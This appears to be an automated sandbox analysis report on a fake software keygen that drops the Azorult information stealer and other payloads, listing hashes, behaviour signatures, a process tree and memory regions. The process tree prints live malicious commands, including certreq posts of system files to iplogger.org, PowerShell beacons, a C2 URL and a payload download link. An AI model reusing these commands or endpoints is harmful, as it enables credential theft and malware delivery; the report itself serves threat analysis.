Resubmissions

06-04-2021 13:50

210406-gc51ndzsc2 10

26-03-2021 23:40

210326-d1ybrjhevx 10

13-03-2021 17:16

210313-8s7b52z63e 10

05-03-2021 14:52

210305-34k3zj54f2 10

01-03-2021 13:17

210301-naamxpgf4e 10

28-02-2021 20:46

210228-6q3b959xae 10

28-02-2021 20:15

210228-mbr268za12 10

28-02-2021 18:32

210228-h944b5cpxa 10

28-02-2021 15:10

210228-hnwwpyjy7j 10

Analysis

  • max time kernel
    46s
  • max time network
    62s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    28-02-2021 15:10

General

  • Target

    [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe

  • Size

    9.2MB

  • MD5

    b806267b5f3b7760df56396b1cf05e6d

  • SHA1

    5166d4c1d3e476281d9e991eababc3e4aa9ec5ad

  • SHA256

    f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

  • SHA512

    30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Nirsoft 6 IoCs
  • Executes dropped EXE 14 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3380
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3176
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3512
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:3952
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:2228
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2388
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:804
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:800
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1556
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3012
            • C:\Windows\SysWOW64\msiexec.exe
              msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
              5⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:3920
            • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
              C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
              5⤵
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Writes to the Master Boot Record (MBR)
              • Suspicious use of SetThreadContext
              • Checks SCSI registry key(s)
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3548
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:1088
              • C:\Users\Admin\AppData\Roaming\1614528862861.exe
                "C:\Users\Admin\AppData\Roaming\1614528862861.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614528862861.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:2900
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                  PID:4228
                • C:\Users\Admin\AppData\Roaming\1614528868030.exe
                  "C:\Users\Admin\AppData\Roaming\1614528868030.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614528868030.txt"
                  6⤵
                    PID:4252
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    6⤵
                      PID:4912
                    • C:\Users\Admin\AppData\Roaming\1614528873600.exe
                      "C:\Users\Admin\AppData\Roaming\1614528873600.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614528873600.txt"
                      6⤵
                        PID:4928
                    • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
                      C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
                      5⤵
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      • Writes to the Master Boot Record (MBR)
                      • Checks SCSI registry key(s)
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:2968
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c taskkill /f /im chrome.exe
                        6⤵
                          PID:2184
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /f /im chrome.exe
                            7⤵
                            • Kills process with taskkill
                            PID:208
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                          6⤵
                            PID:3820
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 127.0.0.1 -n 3
                              7⤵
                              • Runs ping.exe
                              PID:3868
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2132
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 3
                            6⤵
                            • Runs ping.exe
                            PID:716
                      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe
                        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3988
                        • C:\Users\Admin\AppData\Local\Temp\DTW8UMUUI1\multitimer.exe
                          "C:\Users\Admin\AppData\Local\Temp\DTW8UMUUI1\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                          5⤵
                          • Executes dropped EXE
                          PID:2212
                          • C:\Users\Admin\AppData\Local\Temp\DTW8UMUUI1\multitimer.exe
                            "C:\Users\Admin\AppData\Local\Temp\DTW8UMUUI1\multitimer.exe" 1 3.1614525053.603bb27d58b3a 101
                            6⤵
                              PID:4196
                              • C:\Users\Admin\AppData\Local\Temp\DTW8UMUUI1\multitimer.exe
                                "C:\Users\Admin\AppData\Local\Temp\DTW8UMUUI1\multitimer.exe" 2 3.1614525053.603bb27d58b3a
                                7⤵
                                  PID:4328
                                  • C:\Users\Admin\AppData\Local\Temp\vs4zhwi4nd0\rxk2bnmcmwc.exe
                                    "C:\Users\Admin\AppData\Local\Temp\vs4zhwi4nd0\rxk2bnmcmwc.exe" /VERYSILENT
                                    8⤵
                                      PID:4012
                                      • C:\Users\Admin\AppData\Local\Temp\is-L9V70.tmp\rxk2bnmcmwc.tmp
                                        "C:\Users\Admin\AppData\Local\Temp\is-L9V70.tmp\rxk2bnmcmwc.tmp" /SL5="$30156,870426,780800,C:\Users\Admin\AppData\Local\Temp\vs4zhwi4nd0\rxk2bnmcmwc.exe" /VERYSILENT
                                        9⤵
                                          PID:3256
                                      • C:\Users\Admin\AppData\Local\Temp\zzn0pvzx1cv\Setup3310.exe
                                        "C:\Users\Admin\AppData\Local\Temp\zzn0pvzx1cv\Setup3310.exe" /Verysilent /subid=577
                                        8⤵
                                          PID:4236
                                        • C:\Users\Admin\AppData\Local\Temp\yuhhjsfeeo3\vict.exe
                                          "C:\Users\Admin\AppData\Local\Temp\yuhhjsfeeo3\vict.exe" /VERYSILENT /id=535
                                          8⤵
                                            PID:3864
                                          • C:\Users\Admin\AppData\Local\Temp\j2eboqsis4o\IBInstaller_97039.exe
                                            "C:\Users\Admin\AppData\Local\Temp\j2eboqsis4o\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                            8⤵
                                              PID:4596
                                            • C:\Users\Admin\AppData\Local\Temp\vfha0h1bsyz\vpn.exe
                                              "C:\Users\Admin\AppData\Local\Temp\vfha0h1bsyz\vpn.exe" /silent /subid=482
                                              8⤵
                                                PID:4820
                                                • C:\Users\Admin\AppData\Local\Temp\is-IP019.tmp\vpn.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-IP019.tmp\vpn.tmp" /SL5="$10336,15170975,270336,C:\Users\Admin\AppData\Local\Temp\vfha0h1bsyz\vpn.exe" /silent /subid=482
                                                  9⤵
                                                    PID:4476
                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Modifies system certificate store
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4044
                                          • C:\Users\Admin\AppData\Roaming\B730.tmp.exe
                                            "C:\Users\Admin\AppData\Roaming\B730.tmp.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            PID:3984
                                            • C:\Users\Admin\AppData\Roaming\B730.tmp.exe
                                              "C:\Users\Admin\AppData\Roaming\B730.tmp.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Checks processor information in registry
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:3000
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                            5⤵
                                              PID:4408
                                              • C:\Windows\SysWOW64\PING.EXE
                                                ping 127.0.0.1
                                                6⤵
                                                • Runs ping.exe
                                                PID:4484
                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
                                            4⤵
                                              PID:4444
                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
                                              4⤵
                                                PID:4940
                                                • C:\ProgramData\6302563.69
                                                  "C:\ProgramData\6302563.69"
                                                  5⤵
                                                    PID:5080
                                                  • C:\ProgramData\6773350.74
                                                    "C:\ProgramData\6773350.74"
                                                    5⤵
                                                      PID:3988
                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
                                                    4⤵
                                                      PID:2192
                                              • C:\Windows\system32\msiexec.exe
                                                C:\Windows\system32\msiexec.exe /V
                                                1⤵
                                                • Enumerates connected drives
                                                • Suspicious use of AdjustPrivilegeToken
                                                • Suspicious use of WriteProcessMemory
                                                PID:1468
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 07D0E72617C6686203D8FA9D1180B2C1 C
                                                  2⤵
                                                  • Loads dropped DLL
                                                  PID:3684
                                              • C:\Windows\system32\vssvc.exe
                                                C:\Windows\system32\vssvc.exe
                                                1⤵
                                                  PID:2040
                                                • C:\Users\Admin\AppData\Local\Temp\is-NJDQ2.tmp\chashepro3.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-NJDQ2.tmp\chashepro3.tmp" /SL5="$10318,2993785,58368,C:\Users\Admin\AppData\Local\Temp\z2jki2ucdxu\chashepro3.exe" /VERYSILENT
                                                  1⤵
                                                    PID:4900
                                                    • C:\Program Files (x86)\JCleaner\us1.exe
                                                      "C:\Program Files (x86)\JCleaner\us1.exe"
                                                      2⤵
                                                        PID:5028
                                                        • C:\Windows\SysWOW64\notepad.exe
                                                          "C:\Windows\system32\notepad.exe"
                                                          3⤵
                                                            PID:5332
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "cmd.exe" /c certreq -post -config https://iplogger.org/1hTS97 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                          2⤵
                                                            PID:2992
                                                            • C:\Windows\SysWOW64\certreq.exe
                                                              certreq -post -config https://iplogger.org/1hTS97 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                              3⤵
                                                                PID:5264
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1hTS97"
                                                              2⤵
                                                                PID:5020
                                                              • C:\Program Files (x86)\JCleaner\jayson.exe
                                                                "C:\Program Files (x86)\JCleaner\jayson.exe"
                                                                2⤵
                                                                  PID:4580
                                                                • C:\Program Files (x86)\JCleaner\wi.exe
                                                                  "C:\Program Files (x86)\JCleaner\wi.exe"
                                                                  2⤵
                                                                    PID:1632
                                                                  • C:\Program Files (x86)\JCleaner\lll.exe
                                                                    "C:\Program Files (x86)\JCleaner\lll.exe"
                                                                    2⤵
                                                                      PID:4344
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"
                                                                      2⤵
                                                                        PID:4740
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "cmd.exe" /c "start https://iplogger.org/1aSny7"
                                                                        2⤵
                                                                          PID:4604
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                          2⤵
                                                                            PID:4720
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                            2⤵
                                                                              PID:196
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "cmd.exe" /c "start https://iplogger.org/1EaGq7"
                                                                              2⤵
                                                                                PID:4368
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"
                                                                                2⤵
                                                                                  PID:2124
                                                                              • C:\Program Files (x86)\DTS\seed.sfx.exe
                                                                                "C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s1
                                                                                1⤵
                                                                                  PID:4916
                                                                                • C:\Users\Admin\AppData\Local\Temp\is-1I7BF.tmp\{app}\chrome_proxy.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-1I7BF.tmp\{app}\chrome_proxy.exe"
                                                                                  1⤵
                                                                                    PID:3844
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "cmd.exe" /c start http://dropskeyssellbuy.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                    1⤵
                                                                                      PID:4092
                                                                                    • C:\Windows\SysWOW64\certreq.exe
                                                                                      certreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                      1⤵
                                                                                        PID:5272
                                                                                      • C:\Windows\SysWOW64\certreq.exe
                                                                                        certreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                        1⤵
                                                                                          PID:5280
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "cmd.exe" /c "start https://iplogger.org/1Gusg7"
                                                                                          1⤵
                                                                                            PID:4960

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v6

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • memory/580-2-0x0000000002940000-0x0000000002941000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/1088-76-0x0000000010000000-0x0000000010057000-memory.dmp

                                                                                            Filesize

                                                                                            348KB

                                                                                          • memory/1088-77-0x000001C5CBE20000-0x000001C5CBE21000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/1088-75-0x00007FFEB1430000-0x00007FFEB14AE000-memory.dmp

                                                                                            Filesize

                                                                                            504KB

                                                                                          • memory/1632-238-0x0000000070E80000-0x000000007156E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/1632-272-0x0000000005400000-0x0000000005401000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/1632-254-0x0000000004F90000-0x0000000004F91000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/1632-258-0x00000000052E0000-0x00000000052E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/1632-244-0x00000000004C0000-0x00000000004C1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/2124-270-0x0000000070E80000-0x000000007156E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/2212-61-0x00007FFE959A0000-0x00007FFE96340000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/2212-71-0x0000000002810000-0x0000000002812000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/2900-85-0x00000000726A0000-0x0000000072733000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/2968-40-0x00000000726A0000-0x0000000072733000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/2968-58-0x0000000002D80000-0x000000000322F000-memory.dmp

                                                                                            Filesize

                                                                                            4.7MB

                                                                                          • memory/3000-94-0x0000000000400000-0x0000000000449000-memory.dmp

                                                                                            Filesize

                                                                                            292KB

                                                                                          • memory/3000-88-0x0000000000400000-0x0000000000449000-memory.dmp

                                                                                            Filesize

                                                                                            292KB

                                                                                          • memory/3012-24-0x00000000726A0000-0x0000000072733000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/3012-28-0x0000000010000000-0x000000001033E000-memory.dmp

                                                                                            Filesize

                                                                                            3.2MB

                                                                                          • memory/3512-27-0x0000000002C20000-0x0000000002DBC000-memory.dmp

                                                                                            Filesize

                                                                                            1.6MB

                                                                                          • memory/3548-46-0x0000000010000000-0x000000001033E000-memory.dmp

                                                                                            Filesize

                                                                                            3.2MB

                                                                                          • memory/3548-57-0x0000000002D50000-0x00000000031FF000-memory.dmp

                                                                                            Filesize

                                                                                            4.7MB

                                                                                          • memory/3548-38-0x00000000726A0000-0x0000000072733000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/3844-280-0x0000000008D90000-0x000000000F8C4000-memory.dmp

                                                                                            Filesize

                                                                                            107.2MB

                                                                                          • memory/3984-87-0x0000000002F10000-0x0000000002F11000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/3984-93-0x0000000002F10000-0x0000000002F55000-memory.dmp

                                                                                            Filesize

                                                                                            276KB

                                                                                          • memory/3988-147-0x0000000070E80000-0x000000007156E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/3988-45-0x00007FFE997F0000-0x00007FFE9A1DC000-memory.dmp

                                                                                            Filesize

                                                                                            9.9MB

                                                                                          • memory/3988-47-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/3988-50-0x0000000001540000-0x0000000001542000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/3988-194-0x000000000A3C0000-0x000000000A3C1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4044-62-0x0000000000610000-0x000000000061D000-memory.dmp

                                                                                            Filesize

                                                                                            52KB

                                                                                          • memory/4044-82-0x00000000035A0000-0x00000000035EA000-memory.dmp

                                                                                            Filesize

                                                                                            296KB

                                                                                          • memory/4196-98-0x00007FFE959A0000-0x00007FFE96340000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/4196-106-0x0000000002A50000-0x0000000002A52000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4228-100-0x00007FFEB1430000-0x00007FFEB14AE000-memory.dmp

                                                                                            Filesize

                                                                                            504KB

                                                                                          • memory/4228-107-0x000002864AB50000-0x000002864AB51000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4236-182-0x0000000000401000-0x000000000040B000-memory.dmp

                                                                                            Filesize

                                                                                            40KB

                                                                                          • memory/4252-105-0x00000000726A0000-0x0000000072733000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/4328-111-0x00007FFE959A0000-0x00007FFE96340000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/4328-114-0x0000000002870000-0x0000000002872000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4344-265-0x0000000004D60000-0x0000000004D61000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4344-242-0x0000000000400000-0x0000000000401000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4344-264-0x0000000004F40000-0x0000000004F41000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4344-234-0x0000000070E80000-0x000000007156E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4476-220-0x00000000037A0000-0x00000000037A1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4476-213-0x0000000000650000-0x0000000000651000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4476-233-0x0000000003990000-0x0000000003991000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4476-229-0x0000000003C51000-0x0000000003C5D000-memory.dmp

                                                                                            Filesize

                                                                                            48KB

                                                                                          • memory/4476-226-0x00000000039A1000-0x00000000039A9000-memory.dmp

                                                                                            Filesize

                                                                                            32KB

                                                                                          • memory/4476-218-0x0000000003291000-0x0000000003476000-memory.dmp

                                                                                            Filesize

                                                                                            1.9MB

                                                                                          • memory/4492-181-0x00007FFE959A0000-0x00007FFE96340000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/4492-193-0x00000000007B0000-0x00000000007B2000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4548-185-0x0000000000401000-0x000000000040C000-memory.dmp

                                                                                            Filesize

                                                                                            44KB

                                                                                          • memory/4560-197-0x00000000029A0000-0x00000000029A2000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4568-266-0x0000000002C00000-0x0000000002C4C000-memory.dmp

                                                                                            Filesize

                                                                                            304KB

                                                                                          • memory/4568-257-0x0000000003050000-0x0000000003051000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4568-269-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                            Filesize

                                                                                            320KB

                                                                                          • memory/4580-241-0x0000000000560000-0x0000000000561000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4580-267-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4580-235-0x0000000070E80000-0x000000007156E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4580-268-0x00000000010B0000-0x00000000010B1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4596-199-0x0000000000401000-0x00000000004A9000-memory.dmp

                                                                                            Filesize

                                                                                            672KB

                                                                                          • memory/4732-209-0x0000000005010000-0x0000000005011000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-249-0x0000000003B80000-0x0000000003B81000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-211-0x0000000005020000-0x0000000005021000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-222-0x0000000003AE0000-0x0000000003AE1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-217-0x0000000003AC0000-0x0000000003AC1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-224-0x0000000003AF0000-0x0000000003AF1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-207-0x0000000005000000-0x0000000005001000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-204-0x0000000003931000-0x000000000395C000-memory.dmp

                                                                                            Filesize

                                                                                            172KB

                                                                                          • memory/4732-239-0x0000000003B40000-0x0000000003B41000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-236-0x0000000003B20000-0x0000000003B21000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-243-0x0000000003B60000-0x0000000003B61000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-247-0x0000000003B70000-0x0000000003B71000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-251-0x0000000003B90000-0x0000000003B91000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-232-0x0000000003B10000-0x0000000003B11000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-240-0x0000000003B50000-0x0000000003B51000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-205-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-212-0x0000000003AB0000-0x0000000003AB1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-237-0x0000000003B30000-0x0000000003B31000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-228-0x0000000003B00000-0x0000000003B01000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4732-219-0x0000000003AD0000-0x0000000003AD1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4740-273-0x0000000070E80000-0x000000007156E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4752-202-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

